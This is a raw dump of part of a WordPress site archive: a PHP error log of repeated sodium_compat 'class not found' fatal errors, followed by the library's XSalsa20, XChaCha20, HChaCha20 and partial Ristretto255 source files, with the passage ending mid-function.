  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php on line 4
[02-Nov-2025 15:42:05 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_BLAKE2b" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/BLAKE2b.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/BLAKE2b.php on line 4
[02-Nov-2025 15:45:46 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php on line 4
[02-Nov-2025 21:35:07 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_SipHash" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/SipHash.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/SipHash.php on line 4
[02-Nov-2025 22:36:53 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Util.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Util.php on line 4
[03-Nov-2025 20:21:14 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php on line 4
[03-Nov-2025 20:22:40 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_XSalsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php on line 4
[03-Nov-2025 20:23:37 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_X25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/X25519.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/X25519.php on line 4
[03-Nov-2025 20:24:39 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php on line 4
[03-Nov-2025 20:25:40 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php on line 4
[03-Nov-2025 20:27:45 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php on line 4
[03-Nov-2025 20:28:44 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20.php on line 4
[03-Nov-2025 20:29:46 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Poly1305" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php on line 4
[03-Nov-2025 20:31:53 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_BLAKE2b" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/BLAKE2b.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/BLAKE2b.php on line 4
[03-Nov-2025 20:32:49 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_XChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/XChaCha20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/XChaCha20.php on line 4
[03-Nov-2025 20:33:58 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_SipHash" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/SipHash.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/SipHash.php on line 4
[03-Nov-2025 20:41:11 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php on line 4
[03-Nov-2025 20:43:04 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20.php on line 4
[03-Nov-2025 20:44:05 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_XSalsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php on line 4
[03-Nov-2025 20:45:08 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php on line 4
[03-Nov-2025 20:46:09 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php on line 4
[03-Nov-2025 20:48:15 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_X25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/X25519.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/X25519.php on line 4
[03-Nov-2025 20:49:16 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Poly1305" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php on line 4
[03-Nov-2025 20:50:20 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php on line 4
[03-Nov-2025 21:05:05 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_SipHash" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/SipHash.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/SipHash.php on line 4
[03-Nov-2025 21:11:15 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_BLAKE2b" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/BLAKE2b.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/BLAKE2b.php on line 4
[03-Nov-2025 21:12:15 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_XChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/XChaCha20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/XChaCha20.php on line 4
[04-Nov-2025 18:04:48 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20.php on line 4
[04-Nov-2025 18:05:06 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_XSalsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php on line 4
[04-Nov-2025 18:06:04 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_X25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/X25519.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/X25519.php on line 4
[04-Nov-2025 18:07:11 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Poly1305" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php on line 4
[04-Nov-2025 18:09:15 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_XChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/XChaCha20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/XChaCha20.php on line 4
[04-Nov-2025 18:10:13 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php on line 4
[04-Nov-2025 18:11:14 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php on line 4
[04-Nov-2025 18:12:18 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php on line 4
[04-Nov-2025 18:13:21 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php on line 4
[04-Nov-2025 18:14:23 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/HChaCha20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/HChaCha20.php on line 4
[04-Nov-2025 18:15:25 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_SipHash" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/SipHash.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/SipHash.php on line 4
[04-Nov-2025 18:20:45 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Util.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Util.php on line 4
[04-Nov-2025 18:22:23 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_BLAKE2b" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/BLAKE2b.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/BLAKE2b.php on line 4
[04-Nov-2025 18:25:18 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php on line 4
[04-Nov-2025 18:26:12 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/HChaCha20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/HChaCha20.php on line 4
[04-Nov-2025 18:29:14 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php on line 4
[04-Nov-2025 18:30:06 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Poly1305" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php on line 4
[04-Nov-2025 18:31:10 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php on line 4
[04-Nov-2025 18:32:11 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php on line 4
[04-Nov-2025 18:33:17 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_XSalsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php on line 4
[04-Nov-2025 18:34:23 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_X25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/X25519.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/X25519.php on line 4
[04-Nov-2025 18:35:21 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_XChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/XChaCha20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/XChaCha20.php on line 4
[04-Nov-2025 18:39:11 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20.php on line 4
[04-Nov-2025 18:42:52 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_SipHash" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/SipHash.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/SipHash.php on line 4
[05-Nov-2025 06:04:58 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php on line 4
[05-Nov-2025 06:04:59 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_X25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/X25519.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/X25519.php on line 4
[05-Nov-2025 06:04:59 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php on line 4
[05-Nov-2025 06:05:00 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php on line 4
[05-Nov-2025 06:05:00 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Poly1305" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php on line 4
[05-Nov-2025 06:05:00 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php on line 4
[05-Nov-2025 06:05:01 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_XSalsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php on line 4
[05-Nov-2025 06:05:01 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/HChaCha20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/HChaCha20.php on line 4
[05-Nov-2025 06:06:44 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_XChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/XChaCha20.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/XChaCha20.php on line 4
[05-Nov-2025 12:25:49 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Util.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Util.php on line 4
[05-Nov-2025 14:00:54 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_BLAKE2b" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/BLAKE2b.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/BLAKE2b.php on line 4
XSalsa20.php000064400000002533151024240020006603 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_XSalsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_XSalsa20
 */
abstract class ParagonIE_Sodium_Core_XSalsa20 extends ParagonIE_Sodium_Core_HSalsa20
{
    /**
     * Expand a key and nonce into an xsalsa20 keystream.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function xsalsa20($len, $nonce, $key)
    {
        $ret = self::salsa20(
            $len,
            self::substr($nonce, 16, 8),
            self::hsalsa20($nonce, $key)
        );
        return $ret;
    }

    /**
     * Encrypt a string with XSalsa20. Doesn't provide integrity.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function xsalsa20_xor($message, $nonce, $key)
    {
        return self::xorStrings(
            $message,
            self::xsalsa20(
                self::strlen($message),
                $nonce,
                $key
            )
        );
    }
}
XChaCha20.php000064400000000146151024240020006645 0ustar00<?php
namespace ParagonIE\Sodium\Core;

class XChaCha20 extends \ParagonIE_Sodium_Core_XChaCha20
{

}
HChaCha20.php000064400000000146151024240020006625 0ustar00<?php
namespace ParagonIE\Sodium\Core;

class HChaCha20 extends \ParagonIE_Sodium_Core_HChaCha20
{

}
Ristretto255.php000064400000052574151024240020007513 0ustar00<?php

/**
 * Class ParagonIE_Sodium_Core_Ristretto255
 */
class ParagonIE_Sodium_Core_Ristretto255 extends ParagonIE_Sodium_Core_Ed25519
{
    const crypto_core_ristretto255_HASHBYTES = 64;
    const HASH_SC_L = 48;
    const CORE_H2C_SHA256 = 1;
    const CORE_H2C_SHA512 = 2;

    /**
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @param int $b
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_cneg(ParagonIE_Sodium_Core_Curve25519_Fe $f, $b)
    {
        $negf = self::fe_neg($f);
        return self::fe_cmov($f, $negf, $b);
    }

    /**
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @throws SodiumException
     */
    public static function fe_abs(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        return self::fe_cneg($f, self::fe_isnegative($f));
    }

    /**
     * Returns 0 if this field element results in all NUL bytes.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return int
     * @throws SodiumException
     */
    public static function fe_iszero(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        static $zero;
        if ($zero === null) {
            $zero = str_repeat("\x00", 32);
        }
        /** @var string $zero */
        $str = self::fe_tobytes($f);

        $d = 0;
        for ($i = 0; $i < 32; ++$i) {
            $d |= self::chrToInt($str[$i]);
        }
        return (($d - 1) >> 31) & 1;
    }


    /**
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $u
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $v
     * @return array{x: ParagonIE_Sodium_Core_Curve25519_Fe, nonsquare: int}
     *
     * @throws SodiumException
     */
    public static function ristretto255_sqrt_ratio_m1(
        ParagonIE_Sodium_Core_Curve25519_Fe $u,
        ParagonIE_Sodium_Core_Curve25519_Fe $v
    ) {
        $sqrtm1 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1);

        $v3 = self::fe_mul(
            self::fe_sq($v),
            $v
        ); /* v3 = v^3 */
        $x = self::fe_mul(
            self::fe_mul(
                self::fe_sq($v3),
                $u
            ),
            $v
        ); /* x = uv^7 */

        $x = self::fe_mul(
            self::fe_mul(
                self::fe_pow22523($x), /* x = (uv^7)^((q-5)/8) */
                $v3
            ),
            $u
        ); /* x = uv^3(uv^7)^((q-5)/8) */

        $vxx = self::fe_mul(
            self::fe_sq($x),
            $v
        ); /* vx^2 */

        $m_root_check = self::fe_sub($vxx, $u); /* vx^2-u */
        $p_root_check = self::fe_add($vxx, $u); /* vx^2+u */
        $f_root_check = self::fe_mul($u, $sqrtm1); /* u*sqrt(-1) */
        $f_root_check = self::fe_add($vxx, $f_root_check); /* vx^2+u*sqrt(-1) */

        $has_m_root = self::fe_iszero($m_root_check);
